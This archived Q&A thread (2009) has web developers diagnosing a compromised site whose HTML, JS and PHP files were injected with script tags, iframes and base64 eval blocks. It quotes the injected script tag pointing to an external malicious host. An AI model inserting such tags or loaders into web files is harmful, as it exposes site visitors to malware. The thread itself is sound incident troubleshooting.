I'm finding rogue code included in my HTML page head -- how did it get there and how do I stop it?

views:

240

answers:

I'm finding rogue code included in my HTML page head -- how did it get there and how do I stop it?

My major weakness is securing my sites -- I know, a bad weakness.

I have a site now that when I view the source in Firebug, I'm seeing all kinds of scripts with the src of http://mylocksmithusa.com/sitebuilder/acura2002.php -- but they're not in my files that I can find. How did they get there, how can I find them, how can I remove them, and how do I stop them from happening again?

Similarly, another site of mine keeps having its index.php file rewritten, mostly just having some of the code erased and then a bunch of <iframe>jareqjj93u8q2u35w</iframe> jibberish added to the bottom.

My FTP passwords are very secure -- should I change them and hope it stops? Or is there more to it that I just don't understand about locking down my sites from this kind of dangerous abuse?

Thanks!

+2 A:

Looks like you've been a victim of a SQL injection attack or trusting unsanitised input from your query strings.

If files are being physically appended to there's also the chance that you've got some code on your site that allows file uploads without checking a user is authenticated and/or doesn't check the type of file being uploaded. This would allow a miscreant to upload a script to modify every file on your site and add these links.

Kev 2009-10-21 16:09:22

Hmm... I take care to escape and check inputs and query strings. I understand your general point, but it's not very helpful here without a little more detail, I guess.

Jason Rhodes 2009-10-21 20:27:58

Stating the obvious won't help. Why not give some pointers on how to actually fix the OP's problem?

csl 2009-10-28 18:04:43

+1 A:

A common source of the iframe-addition attacks is infected client computers leaking their FTP passwords. So you need to check both the server and any clients you have used to connect to it for malware, before changing the passwords. (And preferably changing to SFTP; nobody should still be using FTP in 2009.)

Don't just assume your machines aren't infected because you're running anti-virus software. Today's AVs are pathetically, hopelessly behind the malware writers. Take multiple opinions and if an AV finds anything don't trust it to fix the problem, because chances are it will fail, potentially leaving infections present. Instead reinstall the OS.

In the first case with the HTML seemingly added at serve-time, the server itself may be infected and need reinstalling. Either way, get them off the web until you're sure they're cleaned.

bobince 2009-10-21 16:23:16

Hmm ok, thanks. Still not very clear on how to fix it or prevent it. For the iframe-additions, I use Dreamweaver and Cyberduck to sign in, all from Mac OS X. Not sure how to check software for malware. For the script injections, I'm connecting to highly-monitored servers via WebDAV.

Jason Rhodes 2009-10-21 20:27:10

No Windows computers have connected to the FTP? Probably not the client compromise then. Still could be the server itself compromised (maybe even rooted); is it your server or do you just have space on it?

bobince 2009-10-21 21:26:26

Space on a remote server. University-wide.

Jason Rhodes 2009-11-02 22:14:04

Oh. :-( Yeah, I wouldn't trust a University shared server to remain clean for very long. You'd have to talk to their admins... have fun with that.

bobince 2009-11-03 00:26:29

+1 A:

You are asking us how someone popped your site and the only honest answer is "we don't know".

Check ftp and other services, check your code for where you get input (cookie, querystring, post params etc) but the most likely is you installed an old known vulnerable version of wordpress or some webapp and a roving worm found it and exploited it.

Collin 2009-10-22 00:57:56

Thanks, Colin. I'm just looking for general answers that might be widely helpful to lots of developers in my situation. Vulnerable version of wordpress could very well be one of my problems.

Jason Rhodes 2009-10-22 18:19:09

My site got was attacked the same way too <script src=http://mylocksmithusa.com/sitebuilder/acura2002.php></script&gt;. After I checked it, apparently almost all of my .js file was appended with document.write([the script above]) on the last line. Additionally, almost all .html file was appended with an iframe just after the <body> tag (and then few last lines in the files were removed), and several of .php files in my site got appended with eval([super long codes]) on the beginning of the file.

After cleaning up the files, yesterday I changed my ftp password, and today the site isn't hacked anymore (before, every few hours the files will be changed). So I suspect some worm or something already got access to your ftp. What you can do is change the ftp password, take your site offline for a while, until you cleaned up the files.

Exiled_Gundam 2009-10-23 01:08:14

The most interesting thing for me is that we don't use FTP: we use WebDAV and my u/p are tied to my University account. I'm talking to our webhosting people about it now. Thanks.

Jason Rhodes 2009-11-02 22:14:42

*The Same happened to me, I have a wordpress blog installed I noticed that there appeared an "eval", encrypted in base64, to remove the encryption found that resulted in the same direction to the address http://mylocksmithusa.com/sitebuilder/acura2002.php>

Everton 2010-03-24 17:45:36

ansaurus

tags:

views:

answers:

I'm finding rogue code included in my HTML page head -- how did it get there and how do I stop it?

related questions